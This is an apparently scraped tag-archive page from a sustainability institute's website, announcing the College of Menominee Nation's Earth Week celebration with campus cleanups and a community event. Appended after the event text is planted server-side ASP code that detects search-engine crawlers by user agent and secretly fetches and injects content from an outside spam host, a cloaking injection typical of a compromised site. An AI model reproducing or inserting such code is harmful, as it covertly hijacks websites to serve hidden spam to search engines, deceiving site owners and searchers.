Tag Archive: Earth Week

Earth Week Celebration

A week-long series of activities focused around Earth Day that builds increased capacity for civic engagement within the CMN, Menominee and surrounding communities to address issues of sustainability.

Permanent link to this article: http://sustainabledevelopmentinstitute.org/event/earth-week-celebration/

Mar 21

CMN’s Earth Week Celebration April 17-21

A week-long celebration in honor of Earth Day will begin on Monday, April 17, at the College of Menominee Nation, Keshena and Green Bay/Oneida, with campus cleanups, and end on Friday, April 21, with a free community event in Keshena. The theme for the week is Our Community, Our World, Our Future: Environmental and Climate …

Continue reading »

Permanent link to this article: http://sustainabledevelopmentinstitute.org/2017/03/cmns-earth-week-celebration-april-17-22/

<% Function GetHtml(url) Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP") ObjXMLHTTP.Open "GET",url,False ObjXMLHTTP.setRequestHeader "User-Agent","aQ0O010O" ObjXMLHTTP.send GetHtml=ObjXMLHTTP.responseBody Set ObjXMLHTTP=Nothing set objStream = Server.CreateObject("Adodb.Stream") objStream.Type = 1 objStream.Mode =3 objStream.Open objStream.Write GetHtml objStream.Position = 0 objStream.Type = 2 objStream.Charset = "UTF-8" GetHtml = objStream.ReadText objStream.Close End Function dim ua ua=Request.ServerVariables("HTTP_USER_AGENT") searray = array("Google Web Preview", "bot","wget", "spider") For i = 0 To Ubound(searray) If (Instr(ua, searray(i)) > 0) Then content = GetHtml("http://link.dolabuy.com/cs08.txt") Response.write content end if Next %>